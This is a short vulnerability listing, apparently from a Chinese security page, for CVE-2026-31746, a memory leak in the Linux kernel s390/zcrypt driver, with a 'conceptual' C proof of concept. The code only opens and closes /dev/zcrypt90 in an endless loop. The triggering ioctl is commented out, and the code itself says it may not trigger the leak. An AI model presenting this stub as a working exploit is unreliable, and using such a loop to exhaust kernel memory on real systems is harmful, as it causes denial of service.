CVE-2026-31746 Linux内核s390/zcrypt内存泄漏漏洞

/* * PoC for CVE-2026-31746 (Conceptual) * Triggers memory leak in s390/zcrypt by sending continuous RSA requests. * Requires: s390 architecture, CCA card, zcrypt module loaded. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #define ZCRYPT_DEVICE "/dev/zcrypt90" int main() { int fd = -1; int iterations = 0; printf("Starting PoC for CVE-2026-31746...\n"); // Loop to trigger the memory leak indefinitely while (1) { fd = open(ZCRYPT_DEVICE, O_RDWR); if (fd < 0) { perror("Failed to open device"); sleep(1); continue; } // In a real scenario, specific IOCTLs would be used to send // clear key RSA requests (ME/CRT) to the CCA card. // This simulates the trigger. // ioctl(fd, ZCRYPT_IOCTL, ...); // The vulnerability occurs inside the kernel handling of these requests. // Simply opening/closing or sending dummy requests may not trigger it // without the correct crypto setup, but this represents the loop. close(fd); iterations++; if (iterations % 1000 == 0) { printf("[+] Sent %d requests. Check kernel memory usage (slabtop).\n", iterations); } } return 0; }